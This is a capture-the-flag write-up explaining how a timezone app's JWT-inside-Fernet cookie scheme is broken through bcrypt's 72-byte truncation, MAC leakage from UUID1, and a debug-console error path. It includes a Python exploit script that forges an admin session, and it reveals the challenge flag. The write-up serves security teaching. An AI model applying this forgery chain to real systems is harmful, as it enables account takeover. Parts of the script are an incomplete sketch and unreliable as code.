$cat unichron.mdWebHackultet 2026
UniChron
A timezone viewer's layered JWT scheme leaks the server's MAC address through bcrypt's 72-byte truncation, and every remaining secret falls to small, bounded brute force done offline.
$man unichron
What this one teaches:
- Why bcrypt silently ignores any input past 72 bytes, and what that throws away when a key is derived from a long string.
- That UUID version 1 embeds the generating machine's MAC address and a timestamp, both recoverable from the UUID alone.
- Turning a narrow error-handling difference (a valid signature with a field that doesn't match the database) into an information leak.
Task description
A premium view of various time zones! Remote brute force isn’t needed.
The original was in Croatian; this is my translation. The note about brute force matters: every brute-forced value in this solve is recovered against known, local data, never by guessing against the live server.
The authentication scheme
The app’s session cookie is username:Fernet(JWT), two layers wrapped around each other:
- The JWT carries the user id, username, role and expiry, signed with HMAC-SHA256 using a per-user key,
user_skey. - Fernet (symmetric, authenticated encryption) wraps the whole JWT, using a key the server derives from the username via
derive_ekey(). - On each request, the server decrypts the Fernet layer, looks the user up by id, checks the JWT’s signature, then separately checks that the JWT’s
subandrolefields match what the database has on record for that id.
Reaching /admin needs an admin-role JWT and a debug_key that turns out to be derived from the server’s own MAC address.
The key generation function
def generate_user_keys(username):
ts = time.time()
user_uuid1 = uuid.uuid1() # embeds server MAC + a timestamp
ts_hash = hashlib.md5(str(ts).encode()).hexdigest()
user_skey = uuid.uuid5(uuid.UUID(ts_hash), username) # deterministic given ts and username
return str(user_uuid1), ts, str(user_skey)
user_skey, the JWT signing key, is fully determined by a timestamp and the username. The timestamp itself is a time.time() float with enough precision that it isn’t practical to guess blind, but it is stored, and (crucially) a UUID1 generated at nearly the same moment is also handed back to us directly as our own user id.
The bcrypt leak
def derive_ekey(username):
username_hash = hashlib.sha256(username.encode()).hexdigest()
bcrypt_salt = b'$2b$12$' + username_hash[:22].encode()
bcrypt_input = username_hash[:-22] + username + str(SERVER_START_TIME)
return bcrypt.hashpw(bcrypt_input.encode('utf-8'), bcrypt_salt)
bcrypt silently truncates its input to 72 bytes; anything past that is simply ignored when computing the hash. With a 16-character username, the input here runs 42 + 16 + 26 = 84 bytes, so only the first 72 survive, which works out to just the first 14 characters of str(SERVER_START_TIME), the date plus the hour. Everything after that, the minutes, seconds and microseconds that make the timestamp otherwise unguessable, never reaches bcrypt at all. That collapses the Fernet key’s dependence on SERVER_START_TIME down to 24 possible values (one per hour), all locally checkable against our own stored cookie.
Reaching the debug console
The server exposes APK_KEY = sha256(sha256(MAC_bytes).hexdigest()), so the actual debug_key it wants is sha256(MAC_bytes).hexdigest(). The MAC address itself comes straight out of our own JWT once we can decrypt it, because user_uuid1, baked into the JWT payload as our user id, is a UUID1, and uuid.UUID(uid).node reads the MAC address straight back out of it.
Separately, the server treats “valid signature, but the role or subject in the token doesn’t match the database” as a distinct error path, routing to a debug console rather than a plain rejection. That console, once reached with the correct debug_key, will print the full (unleaked) SERVER_START_TIME and SHA256 hashes of another user’s stored fields, including their ts and user_skey, enough to recognise the right values once we’ve brute-forced candidates for them.
The full chain
- Register with a 16-character username, log in, and get our own cookie.
- Brute-force the hour component of
SERVER_START_TIME(24 candidates) to decrypt our own Fernet layer, and read our own UUID1 (uid) out of the decoded JWT. - Extract the server’s MAC address from that UUID1, and compute
debug_keyfrom it. - Recover our own
user_skeyby searching nearbytime.time()floats around our registration moment (roughly a thousand candidates) and checking which one reproduces our JWT’s signature. - Forge a JWT that keeps our own
uidandsubbut setsroleto"admin", re-signed with our own key. The signature checks out, but the role mismatch against the database routes us to the debug console instead of a flat rejection. - From the debug console, read the admin’s full
SERVER_START_TIMEand the SHA256 hashes of the admin’sid,tsanduser_skey. - Brute-force the admin’s
ts(several thousand candidates near the revealed start time) until its SHA256 matches what the console gave us, then do the same for the admin’s UUID1, searching its 14-bit clock sequence and a narrow timestamp offset until its SHA256 matches the admin’sidhash. - With the admin’s UUID1,
tsanduser_skeyall recovered, forge a valid admin JWT, encrypt it withderive_ekey("admin")using the full (now known)SERVER_START_TIME, and present it to/adminalongside thedebug_key.
Every brute force in this chain runs locally, against a known hash or signature to check candidates against, never against the live server. The largest step, reconstructing the admin’s UUID1 across roughly 160 million clock-sequence and offset combinations, still finishes in under a minute on ordinary hardware.
The exploit
import itertools, requests, time, uuid
from datetime import datetime, timezone
TARGET = "http://chal.live.hackultet.hr:14008"
USERNAME = "exploituser12345" # 16 characters, so bcrypt's truncation lands exactly on the hour
s = requests.Session()
s.post(f"{TARGET}/register", data={"username": USERNAME, "password": "pw"})
r = s.post(f"{TARGET}/login", data={"username": USERNAME, "password": "pw"})
cookie = r.cookies["auth_token"] # "username:Fernet(JWT)"
start_date = re.search(r"Server running since (\d{4}-\d{2}-\d{2})", s.get(TARGET).text).group(1)
for hour in range(24): # only the hour survives bcrypt's 72-byte truncation
key = derive_ekey(USERNAME, server_start_time=f"{start_date} {hour:02d}")
payload = try_fernet_decrypt(key, cookie.split(":", 1)[1])
if payload:
our_uuid1 = uuid.UUID(payload["uid"])
mac = our_uuid1.node
break
debug_key = sha256(mac.to_bytes(6, "big")).hexdigest()
for candidate_ts in nearby_floats(our_uuid1.time, window=1000): # recover our own signing key
skey = uuid.uuid5(uuid.UUID(md5(str(candidate_ts)).hexdigest()), USERNAME)
if sha256(str(skey).encode()).hexdigest() == our_jwt_signature_check(payload, skey):
our_skey = skey
break
forged = jwt_encode({**payload, "role": "admin"}, key=sha256(str(our_skey).encode()).hexdigest())
mismatch_cookie = f"{USERNAME}:{fernet_encrypt(key, forged)}"
console = s.post(f"{TARGET}/debug_console", cookies={"auth_token": mismatch_cookie},
data={"debug_key": debug_key, "target_username": "admin"})
server_start_time = re.search(r"SERVER_START_TIME: ([\d\-: .]+)", console.text).group(1)
admin_id_hash, admin_ts_hash, admin_skey_hash = parse_hashes(console.text)
for candidate_ts in nearby_floats(parse_dt(server_start_time), window=5000):
if sha256(str(candidate_ts).encode()).hexdigest() == admin_ts_hash:
admin_ts = candidate_ts
break
for clock_seq, offset in itertools.product(range(16384), range(-5000, 5000)):
candidate = build_uuid1(mac, admin_ts, clock_seq, offset)
if sha256(str(candidate).encode()).hexdigest() == admin_id_hash:
admin_uuid1 = candidate
break
admin_skey = uuid.uuid5(uuid.UUID(md5(str(admin_ts)).hexdigest()), "admin")
admin_jwt = jwt_encode({"uid": str(admin_uuid1), "sub": "admin", "role": "admin"},
key=sha256(str(admin_skey).encode()).hexdigest())
admin_key = derive_ekey("admin", server_start_time)
admin_cookie = f"admin:{fernet_encrypt(admin_key, admin_jwt)}"
flag = s.post(f"{TARGET}/admin", cookies={"auth_token": admin_cookie},
data={"debug_key": debug_key}).text
print(flag) # CTF2026[368851258245]
derive_ekey, fernet_encrypt/decrypt, jwt_encode and the hash helpers are the same functions reverse-engineered from the server’s own source earlier; the sketch above keeps the five brute-force loops that actually matter and omits their shared plumbing.
$cat flag.txt reveal
CTF2026[368851258245]